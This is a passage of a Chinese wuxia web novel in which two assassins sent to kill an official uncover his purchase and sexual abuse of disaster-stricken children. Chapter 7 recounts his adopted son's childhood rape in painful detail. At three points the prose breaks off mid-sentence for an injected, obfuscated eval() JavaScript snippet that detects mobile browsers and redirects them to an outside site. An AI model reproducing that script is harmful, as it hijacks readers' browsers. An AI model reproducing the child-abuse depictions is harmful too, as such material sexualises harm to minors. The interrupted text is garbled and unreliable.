她动作如此自然,反倒是沈墨在原地愣了片刻,他掌心沾着雨,触感微凉。但也就那么一瞬,沈墨又变回原来的样子,他脸上的笑意加深,自然而然地靠近她,就着顾青衣的姿势,将手臂穿过她的臂弯,亲昵地挽住。这么近的距离身为杀手,顾青衣本能感到不适,她拧眉瞪着沈墨,他非但没退开,反而凑得更近了。
她的耳边响起他带着刻意的、可怜兮兮的颤音:“姐姐,我饿……”他演得投入,仿佛他们真是一对逃难至此、相依为命的姐弟。
顾青衣垂眸,看着他挽住自己的手,终究没推开他,任由他半靠着自己,两人随着拥挤的人流涌向城门。
城门口的情形比远处看到的更为混乱。府兵们几乎没法维持着秩序,呼喝声、哭喊声、咒骂声混成一片。人群摩肩接踵,便是一只脚陷入淤泥中,也会被后面人推着往前移。两人被人群挤到一起,隔着斗笠紧紧贴着,随着人群缓缓向前。
沈墨原是大户人家的少爷,便是爹不疼娘不爱,也还是少爷,他很少有机会离难民这么近的,抬眼看过去一个妇人怀中抱着血色全部的小婴儿,人群嘈杂之中竟一点儿哭声也没有;年幼的孩子摔倒在泥水里,可人群没等他爬起便从他身上踩过去;瘦骨嶙峋的老人倚靠在门边,她做出乞食的姿势,可就那么浑身僵硬的跪在那里……
沈墨脸上的笑容渐渐褪去了:“青衣姐姐,这百两金……赚得可真是辛苦。”
顾青衣侧目看了他一眼:“糟了灾都是这样的。”她说,语气依旧平静无波,仿佛见惯了这些。
就在他们即将挤过城门洞时,一个瘦小的身影猛地从侧面撞到顾青衣身上,力气不大,却让她瞬间警惕。那是个半大的女娃娃,她衣衫
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887566|192075||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
褴褛,稻草似的头发一片枯黄,手里紧紧攥着半个发黑的东西,看上去像是发了霉的馍馍。她惊恐地抬头看了顾青衣一眼,也没想道歉,转身就想钻回人群。
在顾青衣向女孩伸手的前一瞬,身边的人更快地抓住了女孩细瘦的手腕。顾青衣只好默默把手摸上腰间,果然,她那个装了铜钱的小布袋已经被划开了一道口子。
“小妹妹,”沈墨依旧挽着顾青衣,他半弯下腰,笑得有些无奈:“拿了东西,不说声谢谢就跑可不好。”
明明是很温和的语气和表情,甚至带了点哄劝,女孩却吓得浑身发抖,她挣扎起来:“放开,放开我!你在说什么我听不懂!”别看她瘦,力气还不小,胡乱挣扎中还踢了沈墨一脚。
这一脚把沈墨踢得龇牙咧嘴,他本来是不会被一个孩子伤到的,可他现下浑身都是还未痊愈的伤口。他手指在女孩腕上轻轻一按,她吃痛“哎哟”一声,手一松,那半个馍馍和藏在馍下的,几枚从顾青布袋中摸去的铜钱就一齐掉在沈墨已经摊开的另一只手上。他将铜钱交入顾青衣手中,然后把那脏污的馍馍塞回女孩手中。
“下次看清楚再下手,”他声音压低,带着点戏谑,“有些人不能随便乱摸的。”说着他还斜眼瞄了顾青衣一眼。
女孩愣住了,她仰头看着这个笑容有些古怪却又好看的哥哥,又看看面无表情的姐姐,似乎没能理解这话的含义。但小兽一般的求生本能让她抓紧了失而复得的馍馍,然后她狠狠瞪了沈墨一眼,像条泥鳅似的飞快地滑入人群中消失不见。
顾青衣拿着铜钱沉默,失策了,女孩子靠近时她就该做出反应的,可是……周围太乱了。她看向沈墨,他正若无其事地重新挽住她:“行了青衣姐姐,人跑了,这么小的孩子就别计较了。”
“多事。”她收起铜钱轻声说,不知是指那偷窃的女孩,还是指沈墨方才的举动。
沈墨松了口气,若是方才抓住女孩手腕的是她,也许她会毫不犹豫捏碎孩子的手腕吧,她感受不到痛,心无怜悯。可也不一定,她知道人群中要隐藏好杀手的身份,不会做那么引人注目的事,这么想来,倒确实是他多事了。
他们终于进了城,1雨幕深处,绵竹县的轮廓在灰败的天色中显现。然而,比城中景色更先闯入感官的是那股气味——一种雨水也冲刷不掉的、混合了淤泥、腐烂和……若有若无尸臭的味道。沈墨皱了皱鼻子,将嘴里那根早已嚼不出味道的草杆吐掉,他的目光越过嘈杂的人群投向城内,成片倒塌的房屋,被水泡涨的浮尸体,被洪水淹倒的树已经被啃秃了树皮,恍如人间炼狱的景象在眼前铺陈开来,就连顾青衣都无意识放缓了脚步。
“走吧,青衣姐姐,”他最终还是扯了扯顾青衣的袖子:“我们去打听打听那位崔大人,现在在哪儿行善。”
5. 第 5 章
其实挺显眼的,崔大人不知道有人要害他性命,他就在城中的粥棚施粥呢,鹄形菜色的难民排起长队,沈墨同顾青衣凑过去,站到队伍最末。现在是没机会下手的,周围都是人,万人之中取人性命一事,不是两人做不到,只是对杀手而言,留下这么能被人看见的痕迹简直愚蠢。暴露脸、暴露身份、暴露行迹,任何一项都会导致他们被自己人处理掉。
不过,话又说回来,哪有什么自己人呢?沈墨看来一眼身边的顾青衣,她正盯着前头那位崔大人的一言一行,他知道她在判断那人是否容易刺杀。身边都是人,沈墨趁机挽紧了顾青衣的手,她的手很冷,同她整个人一样,但是此时此刻,她是唯一的身边人,她是他的“姐姐”呢,总要……演的像一点。两人随着人群靠近崔大人,雨幕中飘来周围细碎的对话。
“多亏了崔大人,我家里头已经三天没吃上饭了。”
“可不是,他刚来就关了那个杀千刀的县令,亲自监督放粮。”
“还有他带着的那个,说是他儿子,昨个儿西街的赵二狗那群人来抢粮,两下就把人打翻了。”
就算不想听,诸如此类的话也会传进耳朵里,沈墨闭上眼睛:“青衣姐姐……”能不能,不要杀他?沈墨问不出口,如果真的能只杀坏人,自己会不会变得好过一点,不会觉得杀人是件让人呼吸都会变沉的事?可这怎么可能呢,他手中虽然握着剑,但执剑之人并不是自己,他和她一样,不过是阁主手中的一枚棋子而已,只是她不自知,而他却清醒。
新一锅米粥被端出来,盖被揭开的时候米香味飘过来,沈墨隔了老远都闻的到,这让周围人瞬间情绪高涨了起来。都是饥肠辘辘的流民,谁不想赶快有口真正能吃的,人潮涌动,后面人用力往前面挤,场面一时有些失控。他们两人是能轻易脱身的,可眼下却不得不装作不会武的灾民,被人流挤得东倒西歪。顾青衣沉默着,她顺势靠进沈墨怀里,这个姿势他看不见她的脸,却能感到她的呼气吹在他锁骨处。沈墨微微一怔,原来就算是冰冷没有人性的“傀”,呼吸也是温热的。
“有人倒了,别挤!”人群中不知谁在喊,沈墨循声望去,在他身后五个身位,人群密密麻麻,已经有人踩在了摔倒的人身上。这是很危险的情况,因为后面人听不见叫嚷依旧在往前涌,沈墨本能的往后转去,却被顾青衣扣住手腕:“别多事。”她对他耳语。
沈墨出任务好管闲事也是阁中出了名的,若不是司正看着,他惯是什么热闹都想凑,什么事都想帮的。她碰巧听沈墨的前任司正说过,他想做个“好人”。
那种事明明毫无意义,但……她看了看人群尽头的崔大人,被难民包围的人,一身青蓝色官服仿佛这片绝望的泥潭里,唯一一片被雨水冲净的莲叶,直直挺立着,透着不合时宜的清净高洁。灾民们望向崔明仲的眼神或是哀求、或是崇敬,甚至她窥见几人像是仰望神佛般仰视着他。
沈墨想成为的,大抵就是这样的人吧,和他们的身份完全不相配,像是镜花水月般无法触及的梦。
沈墨看着一个个倒下去的人,摔倒、相互踩踏的人已连成了一小片,他反手扣住顾青衣的手腕,没控制住力道捏痛了她。他知道他不能去,她不会允的,身手若是在此刻败露,会给整个刺杀计划增加变数,可是他只能眼睁睁看着吗?
“吁!”一人一马从侧后方劈开人群,拥挤的人群被他生生挤开一道缝,他左手牵着缰绳,右手用一柄长枪格开挡在前面的人,枪头未开刃,他没伤及任何人便来到发生踩踏的中心。“停下!后面的人都停下。”他厉声大吼,坐下黑马配合着他扬蹄,他身后一小队府衙护卫从他开出的那条小道跟进来,拉成了人墙防止后面继续往前冲。
顾青衣沉默着望去,崔霖,崔大人的养子,她一眼就看出来了,他是个棘手的对象。
地面湿滑,马蹄陷入泥地中本是难行,可他稳坐马背,身形没有一丝多余的晃动。雨声与人生混杂,可他那一声自丹田而起,雄浑厚重,仿佛一口巨大的铜钟被敲击,声音传至人群后方。
崔霖下马扶起一位倒在地上的老头,他见老人家站着颤颤巍巍,便把人抱上了马背,单手。
麻烦了。
沈墨的瞳孔几乎不可察地缩了一下,不仅因为这人是崔大人的贴身护卫,更因为他武艺精湛,整个人在如一把藏在鞘中,淬炼锋利的剑。他沉重的叹了口气,刚从病床上下来便给了他这么个任务,阁主大概也不是真心想他继续活吧。
…………
“有什么计划?”那场混乱被平息的彻底,崔霖又回到了义父身边,看着他一碗碗将热粥递到灾民手上,缩在雨棚下的沈墨喝了口自己碗里的,他咋了咂嘴,是带了霉味、掺了稻壳的米粥,可在这天灾之地,这粥已经是能救命的吃食了。
顾青衣放下碗:“你负责计划,我配合。”
“这么好心?”沈墨眨了眨眼睛。
“阁主说的,都交给你。”她说完继续喝她的粥,看她一脸的面无表情,简直像是尝不出味道似的。
“阁主”二字触到了沈墨的神经:“又是阁主,青衣姐姐你能不能……”
顾青衣抬头看他,沈墨闭嘴了,纠缠这个问题没有任何意义,是他犯蠢了。
“你继续在这里监视,我去府邸看看。”他提议。
现在分开行动比较好,并非他想逃跑,而是作为杀手沈墨是这么判断的。此时此刻他们无机可乘,倒不如提前勘察另一处重要的地点,看有无适合伏击的位置。
“嗯。”顾青衣点了点头,沈墨从她身边站起来时,她连眉毛都没抬。
这么轻易就答应了?不怕他趁机逃跑?沈墨迈开的脚步一顿。
她没多问,也没怀疑他,她只是轻声说了句:“我等你回来。”
那是隐入雨中,极
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887567|192075||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
细、极轻的声音,若非耳力极佳之人根本听不见,可是沈墨听见了。
…………
崔大人目前就暂住在绵竹县县衙,地方很好找,就在县城正中,到了之后沈墨开始头疼。别说躲藏的地方了,白天他想进去都很困难,不是因为守卫森严,而是因为县衙大半面墙都!塌!了!树都倒了,廊亭也垮了,别说藏人了,连个能避雨的地方都没有,倒是有两个衙役还在尽职尽责的看守四面透风的正门。他还用考虑怎么进去吗?就一块门板立在好容易修缮的,半塌的府衙前,他直接走进去就行了,哪里还需要什么潜入,根本是白跑一趟。
沈墨挠了挠头,他刚准备折返,一个熟悉的身影闯入视线,一个瘦小的女孩子,手脚跟麻杆儿似的没有二两肉,顶着稻草似的头发。
她欲往里头冲,一个衙役拎着她的后领,抓小鸡似的把她提起来:“你怎么又来了,都说了要饭去粥棚。”
“我不是要粥,我来找妹妹!”女孩离了地的双脚不停踢踹,可惜脚也太短,根本碰不到人。
衙役没什么耐心:“这里哪有你妹妹,走丢了去别处找!”
“我妹妹被狗爹卖掉了,她肯定在这里!”女孩继续叫嚷。
“让你滚听不懂吗?还在这闹事。”衙役一把将她扔了出去,她整个人摔进泥水里,半张脸青的、紫的、黑的,看着可怜。
“妹……”她不服,爬起来还要进去,有人却从身后拉住了她。
她猛地回头。
“小妹妹,我不是同你说过吗?看清楚在下手。”一张笑脸凑到她面前,腻的她浑身一哆嗦。
“你!”她一眼就认出来了,城门口害得她失手那人。
沈墨好心替女孩子擦了擦脸:“都同你说了,有些人不能随便乱摸的,没长记性吧。”
女孩狠狠别开脸:“要你多嘴。”她满脸写着不服气。
“你妹妹不在里头。”沈墨退开,他在外面就能感知到里头有没有人,根本不用进去查看。
女孩眯起眼睛瞪他:“你怎么知道?你跟他们一伙……呜!”话还没说完便被沈墨捂住嘴。
“小妹妹,话不能乱说。”他强行把她往远离衙门的方向拖。
女孩咬了他一口,她这一口可用劲了,左手虎口被咬出一排牙印。
沈墨松手甩了甩:“属虎的?下口这么狠,我可是看那两衙役揍你。”
“谁让你多管闲事,我妹妹还在里头。”她急着还要往县衙跑。
“说了里头没人,你怎么就不信呢?”沈墨无奈,小孩子不领情他也不好强留。“到底咋回事?衙役都说了你妹妹不在这里,灾民安置在……”
他还没说完便被打断:“你知道什么,狗爹把妹妹卖了一百文,整个县里除了姓崔的哪还有人这么有钱!”
沈墨眯起眼睛,事情的发展好像与他最开始想的不太一样了。
6. 第 6 章
“喂……”沈墨靠近小女孩,他压低声音。
“我叫阿绫,你凑那么近做什么!”她一下子后退着跳开,像只警惕的小狐狸似的。
沈墨换上一副和善的笑:“好好好,阿绫,我叫……”
阿绫第二次打断他:“我管你叫什么,坏人!”在城门口就是这样,遇到这人总没好事,他还要凑过来管她的闲事!
“呵呵……”沈墨尴尬的挠了挠脸颊,她这么叫倒也没错,他一个杀手,可不就是个坏人嘛。“你妹妹到底发生了什么事?”
阿绫一脸狐疑的盯着他,她身上又脏又破,沾满了泥点子,一双眼睛却发亮。她生的苦,应当是比同龄的孩子早慧些,但眼前的大人却并不是她一眼能看透的。“你问这些要干嘛!”
他明明是想顺手帮她,小孩子却一点都不客气:“帮你找妹妹,你不是说你妹妹被崔大人带走了吗?”
“狗爹不说,我追问他就揍我,我猜的。”说到这里阿绫的声调多了点颤音,她用脏兮兮的袖子用力擦了把脸。
沈墨把她这些小动作都看在眼里,他知道她说的都是真的:“跟大哥哥细说说吧……大哥哥能帮你。”
又在任务途中多管闲事,还被人看到了脸,青衣姐姐知道了会不会拿剑砍他呢?
阿绫把他从头到脚大量了一圈:“你真能帮我?”她其实是不该信任眼前这人的,可狗爹亲手卖了妹妹,以前在街头一起偷鸡摸狗的伙伴被大水冲的没影儿了,也不知道是死是活,已经现在没人能帮她了。
“你帮我找到妹妹……”她咬了咬牙,这世上不会从天凭空掉馅饼,她不知道这人图她什么,但是找到妹妹之后带着她一起跑了便是,这次她不会再把她弄丢了。
…………
顾青衣安静的坐在角落里,她用斗笠遮住了自己大半张脸,一整个下午父子两人都在给灾民施粥,崔大人上了年纪,第一轮粥放完便在一旁的藤椅上歇息,但崔霖却穿行在人群中,一直忙到了傍晚。初夏天色黑的比平时要晚些,但直到残阳将天际染红,周围的灾民人数还是有增无减。留在此地的这些人并不都是为了那两口米粮,洪灾冲垮了他们的房屋,冲散了他们的家人,他们无处可去,所以待在这里。待在京城来的老爷身边,好像仅仅只是这样,对于他们来说便已经是一种安慰了。
“崔大人求您帮帮我们。”他们向他下跪,隔着府衙侍卫向他求救。
“我家里的田地全都被冲垮了,没了收成我该怎么活啊!”有些人边说边哭,声音哽咽的不成样子。
“崔大人……崔大人……”他们向他伸手,却只能被挡在人墙外面。
他明明只是个普通人,便因为坐了官,套上了那身官服,便成了灾民们眼中能救世的神仙。
这就是沈墨憧憬的“好人”吗?顾青衣默默旁观着,他的亲爹也是这种人,甚至比崔大人官位更高,深得陛下信赖。但就是那个人将沈墨送入了黯月阁,他所谋求的并非百两金杀一人,他给了阁主一个天赋极佳的杀手,用来换取情报、合作和人命……
阁主对她说过,人从来都比“傀”复杂的多,他们口是心非、表里不一,一张笑脸下隐藏着的有时是比杀意更复杂的阴谋算计。所以“傀”不需要分辨好坏、善恶,“傀”只需要遵从阁主的命令,而这次阁主的命令就是监视沈墨,她虽同他一起来到这里,却并不全然是为了帮他的,行刺者只会是沈墨,而她的刀,只会在他任务失败时杀了他,仅此而已。
雨不知什么时候停了,与人群里污浊的空气不同,往天上看去,雨水将天空洗刷的澄净,深红的日光自云后倾泻下来,有点像是血。
“你在这里坐了很久了,是没地方去吗?”那人走近顾青衣,他明明忙碌了近三个时辰,却依旧脚步沉稳,呼吸均匀。
顾青衣缓缓抬起头:“我同弟弟走散了……”她看着他小声解释,她说谎时面不改色的,这种事她倒是被训练的很好。
“是吗?入夜后这里也要收拾了,无关人等要离开。”崔霖沉声到,面上露出为难的神色:“姑娘还是换别处去吧。”他虽表面上客气,实际却是在驱赶她。
顾青衣点了点头:“是,大人。”她倒是不会真的离开,换到暗处继续监视罢了。
崔霖抬手向她指了个方向:“若是实在没地方落脚,去城东的观音庙吧,那边还有地方解脚。”
她顺着他的手看过去:“大人,您受伤了?”
崔霖猛地将手放下:“无碍,只是方才磕碰了,让姑娘见笑。”
顾青衣不在追问,但她是不会看错的,他手腕下露出几道极细的血痕,新鲜的伤口,虽然不深,但却是数道交叠,并不是磕碰的痕迹。而且他转身离开的时候,将方才那只手紧紧握拳,手背的青筋都显出来了。
…………
“你姐姐呢?,怎么没同她在一起?”阿绫冷不丁问。
沈墨右眼皮子跳了两下:“哈哈哈,我同她走散了。”他笑得没心没肺。
“笨蛋。”她白了他一眼:“你连自己的姐姐都能丢……”
“哈哈……”沈墨挠了挠下巴,他笑得一脸无奈,这事他没法同阿绫解释。“她一个人不会有问题的。”他只能说这么多,而这句也是实话。在绵竹县无论是遇到谁,顾青衣都是可以全身退的。
阿绫狐疑地看了他一眼,她显然不太相信这套说辞,但她更关心自己的妹妹。
“我妹妹叫阿萝,”她终于松了口:“前几天晚上,狗爹偷偷把她带出去,回来的时候……手里攥着一把铜钱,还喝了酒。我问他阿萝呢,他就打我,说……说女孩子都是赔钱货,阿萝是去享福了……”
享福?沈墨嘴角一撇,如今这灾区处处都宛如人间炼狱,这里还有哪一处是能让人“享福”的地方。灾年穷人家卖儿贩女无非就几种去处,好些的给有钱人家奴仆,差些的往秦楼楚馆为倡为妓,最可怕的是卖到菜市口成了菜人,无论哪种都是地狱。
“你那个……狗爹有没有说,具体把她卖去了哪里?”沈墨引导着她说下去,既然答应了帮她,总该多问些线索。
阿绫努力回想,她脏兮兮的脸逐渐皱成一团:“他说什么‘阿萝那丫头,毛都没长齐,也就老爷喜欢……’,喜欢什么来着?对了‘就喜欢瘦小的,你长太大了,不然连你一起卖了’。狗屁一起卖了!”说到这里阿绫气的咬牙切齿,她似乎没完全理解自己说出口的那些话,究竟代表什么,但听进去的沈墨眼睛却眯了起来。
一股令人恶心的寒意顺着他的脊椎爬升。“喜欢”、“瘦小的”、“长大了”,这些词还真是指向了一个令人作呕的可能性呢。看不出来那位在灾民面前道貌岸然的崔大人,私下里竟有这等龌龊癖好?
“还有吗?”沈墨收起不着调的态度,他的声音不自觉带上了一丝冷峻。
阿绫被他瞬间变化的气场吓得缩了缩脖子:“……我没找到阿萝,但我偷偷跟过崔大人的车,有一次我看他晚上出来了,往城西头去的。但我跟丢了……也不是跟丢了,他身边有个人发现我了,把我扔到了路边,警告我不许跟着。”
“城西现在还有什么?”沈墨试探着问,城里头被水淹过,留的下来的屋舍屈指可数。
“还能有什么,知县大人的发妻是个悍的,不许他纳妾,他就在城西边给相好修了院子,也就只剩那个还没被水冲垮了。”阿绫急的跺脚:“但我进不去,那边比县衙守的严多了。”
沈墨冷笑,县衙都被洪水冲垮大半,给外室建的院子却还能好好地,这位知县私下的账怕是有大问题的。
…………
城西?顾青衣一路跟随施粥的队伍走到此地,只觉这一路
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887568|192075||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上疑点重重。
外人只道崔大人因不想给当地添麻烦,故而住在半塌的县衙,但顾青衣却亲眼所见,半道上一队人分成了两股,连轿子也多出一架,分往城西和城中两个方向去。两顶轿子里都有人,顾青衣没法仔细查探,她选择跟着崔霖。
他带队的轿子一路到了城西,停在一处宅院前,城中明明到处都是断壁残垣,这里的房屋却几乎完后,除了墙上多了些水渍,门口护卫森严,甚至那些护卫的身手,比施粥时看到的衙役好好些。不过这几个人对于黯月阁的“傀”而言,倒并不是什么难事。顾青衣的身形在阴影处间几个起落,便无声地潜入了宅院。
她如一片轻盈的落叶,悄无声息地从无人的侧边翻过高墙,她思索片刻,直奔主屋,却在靠近时闻到些许奇异的气味。这与在城中其他地方闻到的腐烂、霉变的臭味都不同,是一股甜腻的气味,与淡淡的血腥味混在一起,闻着让人太阳穴突突直跳。而且竖起耳朵去听,屋里有不止一个细弱的哭音。
“霖儿,在门口守好了。”那位白日里清癯儒雅的崔大人,已经脱了最外的官服,拍了拍自己义子的肩,脸上带着些许兴奋的红光。他手中拿了根细长的白玉戒尺,
崔霖点了点头,与他的义父不同,他看上去似乎有些不适,额头渗出冷汗,呼吸也变得沉重。
他看起来会一直守在门口,这让顾青衣放弃了挪动瓦片窥探室内的想法,为了避免打草惊蛇,她只俯身将右耳贴在房上。
“好孩子,大人给你们带了礼物。”在崔明仲刚进去,里头便传出了尖叫。
“不要……求求您,大人……”
“别过了,我错了……我错了!”
“大人……我想回家……求您让我回家!”
顾青衣微微睁大眼睛,崔明仲的夫人,五年前便因失心疯自缢了,之后他未再娶,也不近女色,想来并非与妻感情甚笃,屋子里的一切才是原因。里头三个半大的孩子,但从声音听上去甚至分不清男女,全都是未长成的年纪。
“回家?你们的爹娘把你们卖了,往后大人这里才是你们的家。”崔大人的声音里有了几分怒气,他用力将戒尺敲在桌上,“啪”的一声,屋里的哭闹声立刻轻了,并没有停止,而是变得更为压抑。
“大人我错了……”顾青衣听见了有人下跪时,双膝磕在地板上的声音。
“错了?那么不听话的孩子应该怎么办?”崔明仲的声音里带着循循善诱的劝导。
屋里的声音变了,那些能听得懂的对话消失了,变成了支离破碎的撕扯衣物、打翻家具、压倒床榻的动静。摇曳的烛火透过窗,在外头看来,那乱晃的光影投在湿淋淋的雨地上形如鬼魅。
顾青衣看不见里面,但她注意到了外面。
崔霖他一直都在,他守在门口,就那么笔直的站着,想一棵已经枯死的竹,竹芯腐烂几乎快要撑不住坚//挺的外观。
他垂在身侧的右手紧握成拳,指甲深深陷入掌心,暗红的血珠正顺着指缝一滴一滴,砸落在脚下的泥地里。这并非他手腕上那些细密的旧伤,而是新鲜的、会让他感到刺痛的新伤。
“好痛!不要,姐姐!姐姐救救我……”里面突然传出呼救,然而只一瞬,孩子的嘴就被堵上,声音逐渐变得含混、轻微、消失不见……
几乎是同时,顾青衣看到崔霖的肩膀猛地绷紧,随即开始无法自控地颤抖。他抬起那只完好的左手,死死捂住自己的嘴,防止任何声音溢出。但这样他就没法捂住自己的耳朵了,屋子里那些哭泣、求饶、以及玉尺落在皮肉上的细微声响,像是锋利的针一般,透过耳膜一下下刺入他的脑海。
他听着,神情逐渐扭曲,他咬破了自己的手,血又沿着嘴角流出来,他看上去痛苦万分。
而顾青衣就在屋顶上,她看尽了这一切。
7. 第 7 章
自己被卖掉的时候,也同如今的差不太多,一场水灾,家里的田全被淹了,大人从京城来赈灾,每日他去领吃食时,大人总会拉住他的手,往他碗里多盛一勺,他以为大人心善,却不想在赈灾将要结束那日,他被娘亲拉着,送到大人手中。家中揭不开锅很久了,他是最小的孩子,晚上装睡时他听得到爹娘狠狠的说:“最小的那个,生了他作甚,多一张嘴吃饭。”“这小畜生论斤卖都不够咱们家塞牙缝。”他隐约知道,自己是被卖掉了,早晚的事,家里最不讨爹娘喜欢的就是他。
“你要好好听大人的话。”那是娘亲留给自己的最后一句话,她很少对自己好好说话,于是他用力点头,然后她便头也不回的走了,走的时候手上没再牵着他,反而落了个鼓鼓囊囊的袋子。
他被换上了漂亮的衣服,坐在马车里,随着大人来到京城的漂亮宅子,一切对他而言都是那么惊奇绚烂,他从未用过白瓷碗筷,从未听过丝竹雅乐,从未见过穿着绫罗绸缎的女人。恩人给他吃的、穿的,还让人给他单独安排了一间小屋,一切都仿佛像是在梦中似的。只是除了有时候半夜大人会进来,把手伸进被子里摸他。被碰触的感觉很奇怪,像被湿冷的蛇缠上,让他本能地想要瑟缩。但娘亲的话在耳边回响:“要听话……大人是恩人。”于是他僵着身体,任由那双手游走。黑暗中他紧紧闭着眼,假装自己从未醒过,只是用力抓着床单尽量让自己别发出声音。有时他会听见大人低声说着“真乖”、“好孩子”,那声音里的满足感让他觉得自己做对了。
渐渐地,他学会了更多“听话”的方式。当大人的手伸过来时,他要主动依偎上去;当大人用那种奇怪的,像是醉酒后的目光看他时,他要低下眼睛露出温顺的表情。他要听话,大人喜欢他,他就能留在这栋漂亮的宅子里,有温暖的床铺,美味的三餐。他不用在做农活了,大人教他识字,这么好的人他还有什么好不乐意的呢?甚至那种事……
最开始很疼,身体像是破了个洞一般,血顺着大腿流下来,他是不喜欢的,可是……可是他求大人不要再继续了,大人就会生气。那可是他第一次对自己生气啊,一定是自己做错了事,只是流血了有什么关系,他以前经常在田间磕碰也没什么大不了的,只是肚子里像是要被捅穿了,他哭的喘不过气,却被大人捂住了嘴。
这时候不可以哭,他是好孩子,要听话,要听话……
喜欢的,他是喜欢的!
他曾经提到过一次,他想家了,想娘亲了,能不能回去看一眼。
他不知道,那是不可以说的禁语,他被大人关进了没有窗的黑屋子里。没人同他说话,看不见太阳也看不见月亮,饿得快死了才会有人送来一点点吃的,他明明是不怕黑的,却渐渐能在屋子里听到诡异的声音。
“你的娘亲已经将你卖给我了,你没有家可以回了。”当门终于被打开的那天,大人笑眯眯的说到:“要记住哪里才是你的家。”
那之后他改了名字,成为了大人的义子,再也没说过想要回家。
义父每年都会外出许久,说是公事不能带上他,但却每次都会带回新的孩子,宅子里有同龄的玩伴他当然开心的不行,可不知为何府中每多一个比他年幼的孩子,义母的脸色就会苍白一分。
她是个很安静的女人,与自己的娘亲完全不同,那是个被精美的华服首饰包裹着的女人,很少说话,像是画中走出来那般端正,她明明有那么多漂亮衣服,那么多钱,可他从没见她笑过。
“她是个疯的,你离她远些。”义父某日来小屋里寻他,对他这么说,那时候他脸上带了三道抓痕,第二天上朝往脸上铺了很多珍珠粉,才把伤口遮掩住。
再后来,义母从主屋搬到了偏院,他去了主屋,每晚都陪着大人,不对,该改口叫义父了,他笨,总是记不住,为此挨了好几顿鞭子。宅子里义母几乎像是消失了一般,什么声音都没有,她从不出院子,义父也几乎不去她那里。
后来她真的消失了,大半夜被人静悄悄的从院子里抬出来,脸被白布蒙着,一双漂亮的绣鞋露在外头。他们说义母上吊了,死得难堪,传出去有辱家风,便速速葬了。可至于她为何要这般了断自己的性命呢?没人知道原因,也没人想知道,她都疯了好久了。
义母她……真的疯了吗?他一直想问,可他不敢问,他记得刚进这个家的时候,义母听他是从灾区来的,把他牵到怀里抱着,还给了他一块很甜的桂花糕。
他长大了些,也懂了些原先不懂的事,义父从不碰她,他只碰那些同他年纪相仿的小孩子,而随着他渐渐长大,义父碰他的次数也少了。更年幼的孩子被送进府,他们同他最开始一样,哭着闹着想要回家。可是没有人回得去,义父的官位这几年升的很快,小孩子变得容易到手了,他便也不在能容忍那些不听话的了。他们或是被包了白布埋在了后院的桃树下,或是被转手卖给了往北去的人牙子。他什么都知道,但什么都做不了,他唯一能做的,就是在半夜里听见孩子们的哭声时,死死捂住自己的耳朵……
只要他捂住耳朵,听不到那些哭声就好了;只要他闭上眼睛,看不见那些眼泪和鲜血就好了;只要他放空自己,不去想那些是非对错就好了。这里是“家”,义父是养育他的人,他只要乖乖听话就好了,这样他就可以什么都有,不是吗?他有吃的有穿的,他有家人,他不是没人要的小畜生。
“霖儿,你和他们不一样,你是为父一手带大的,要听话。”义父还是会摸他的头,就像小时候一样。
于是他就和小时候一样听话,义父说什么他便做什么,吃饭、读书、睡觉,甚至帮新的弟弟妹妹们清洗身体。只有习武是他主动要求的,他长大了,不好看了,他要对义父“有用”,才能继续留在这里。
他拼命练武,直到筋疲力尽,他进步飞快,老师傅们无一不在义父面前夸奖他,义父对他也很满意,他开始对他委以任务,让他成为护卫。他们不知道只有每一次拼命练习,直到筋疲力尽时,他才能在入睡时,耳边听不见不知是谁的哭声。
义父变得越来越倚重他,他带他出入官场,义父在人前是享有清誉的好官,他们是父慈子孝的典范。可每当夜深人静之时,他的噩梦一刻都不曾散去。义父信任他,甚至开始让他帮忙看管新的弟弟妹妹。他看着那些与自己当年一样懵懂天真,充满信任与渴望的眼睛,胃里便一阵翻江倒海。然而当义父将他推到他们身前时,他听见自己用和义父当年一般,令人作呕的声音说:“别怕,听话就有饭吃,有漂亮衣服穿。”
他没有错,那么多人都当义父是父母官,他没说谎,只要听话,只要乖乖的,就能得到义父的关心和疼爱。这里很好,义父是恩人,他们再也不用回去过那种动不动挨饿受冻的糟糕日子了,可是为什么无论他怎么说,大家都想逃?哪里都逃不掉的,根本没有任何地方可去,放弃吧……
